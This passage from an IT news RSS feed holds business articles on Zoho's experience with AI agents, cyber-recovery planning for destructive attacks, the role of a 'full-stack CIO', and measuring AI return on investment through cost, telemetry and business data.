<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Understanding the AI economy]]></title>
<description><![CDATA[We’re releasing the first Activity, Task, Landscape, and Adoption Study (ATLAS) report, showing how people use Google’s AI tools.]]></description>
<link>https://tsecurity.de/de/3688629/it-nachrichten/understanding-the-ai-economy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688629/it-nachrichten/understanding-the-ai-economy/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://storage.googleapis.com/gweb-uniblog-publish-prod/images/hero_image-3-with-logo.max-600x600.format-webp.webp">We’re releasing the first Activity, Task, Landscape, and Adoption Study (ATLAS) report, showing how people use Google’s AI tools.]]></content:encoded>
</item>
<item>
<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Thu, 23 Jul 2026 11:43:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Determining the ROI of AI requires data that most companies lack]]></title>
<description><![CDATA[Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data t...]]></description>
<link>https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Leadership wants to scale AI. Budgets are tripling. Adoption is up.</p>



<p class="wp-block-paragraph">Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?</p>



<p class="wp-block-paragraph">Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.</p>



<p class="wp-block-paragraph">Applying lessons learned from <a href="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html" data-type="link" data-id="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html">managing cloud spend</a> won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get <a href="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html" data-type="link" data-id="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html">cloud ROI</a>, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.</p>



<p class="wp-block-paragraph">But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.</p>



<h2 class="wp-block-heading">AI providers won’t fix this problem</h2>



<p class="wp-block-paragraph">The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.</p>



<p class="wp-block-paragraph">Not convinced? Compare what AWS gives you to what an AI provider gives you.</p>



<p class="wp-block-paragraph">AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.</p>



<p class="wp-block-paragraph">An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.</p>



<p class="wp-block-paragraph">If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. </p>



<h2 class="wp-block-heading">Three required sources</h2>



<p class="wp-block-paragraph">Building AI ROI measurement requires three data sources, stitched together in a single model.</p>



<ol class="wp-block-list">
<li><strong>Cost data, normalized across providers.</strong> Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.</li>



<li><strong>Application-layer telemetry. </strong>This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.</li>



<li><strong>Business data. </strong>Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.</li>
</ol>



<p class="wp-block-paragraph">Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.</p>



<h2 class="wp-block-heading">Why agentic AI makes this urgent</h2>



<p class="wp-block-paragraph">Single-call inference is the easy case. One request, one cost, one customer, one outcome.</p>



<p class="wp-block-paragraph">Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.</p>



<p class="wp-block-paragraph">If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.</p>



<p class="wp-block-paragraph">When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.</p>



<h2 class="wp-block-heading">What changes when the three sources come together</h2>



<p class="wp-block-paragraph">Once the three sources are stitched together, the AI investment conversation changes.</p>



<p class="wp-block-paragraph">Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. </p>



<p class="wp-block-paragraph">Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.</p>



<h2 class="wp-block-heading">The build trap</h2>



<p class="wp-block-paragraph">AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.</p>



<p class="wp-block-paragraph">The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.</p>



<p class="wp-block-paragraph">It is a trap. Three reasons.</p>



<p class="wp-block-paragraph">Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.</p>



<p class="wp-block-paragraph">The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.</p>



<p class="wp-block-paragraph">The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.</p>



<p class="wp-block-paragraph">The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.</p>



